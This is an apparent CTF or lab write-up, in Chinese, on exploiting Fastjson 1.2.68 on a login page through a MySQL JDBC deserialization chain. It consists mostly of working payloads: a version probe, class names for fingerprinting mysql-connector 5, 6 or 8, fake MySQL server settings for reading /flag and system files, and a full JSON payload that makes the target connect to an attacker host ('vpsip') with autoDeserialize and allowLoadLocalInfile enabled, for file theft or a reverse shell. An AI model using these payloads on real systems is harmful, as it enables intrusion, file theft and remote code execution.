fastjson1268 jdbc打mysql

登录页面抓包发现极有可能是fastjson

image-20240730003908745

尝试一下测试版本号

1
2
{
"@type": "java.lang.AutoCloseable"

image-20240730004011002

1.2.68版本下一个简单粗暴地就是打jdbc+mysql

但是要求环境中存在JDBC的依赖,且对版本的要求也挺严格。 Mysql-JDBC在5、6、8下都存在相应的利用,所以就需要探测具体是什么版本。

1
2
3
com.mysql.jdbc.Buffer  //mysql-jdbc-5
com.mysql.cj.api.authentication.AuthenticationProvider //mysql-connect-6
com.mysql.cj.protocol.AuthenticationProvider //mysql-connect-8
1
2
3
4
5
6
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "org.springframework.web.bind.annotation.RequestMapping"
}}

image-20240730005339703

显然这里使用的是mysql-connect-8.x

可是对于mysql-connect的版本为8下限制条件很大,只有一个版本可用:8.0.19

恰好环境是使用的8.0.19:

image-20240730011359338

启动mysql-fake-server,用这个工具:https://github.com/fnmsd/MySQL_Fake_Server

python3 server.py启动mysql-fake-server:

可以改改里面的文件

1
"__defaultFiles":["/flag","c:\\windows\\system32\\drivers\\etc\\hosts"]

该这一条就够用,多发几次就可以

image-20240730012007165

或者反弹shell,用魔改过的ysoserial.jar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [
{
"host": "vpsip"
}
],
"slaves": [],
"properties": {
"host": "vpsip",
"user": "fileread",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"allowLoadLocalInfile": "true"
}
}
}
}

image-20241130203357887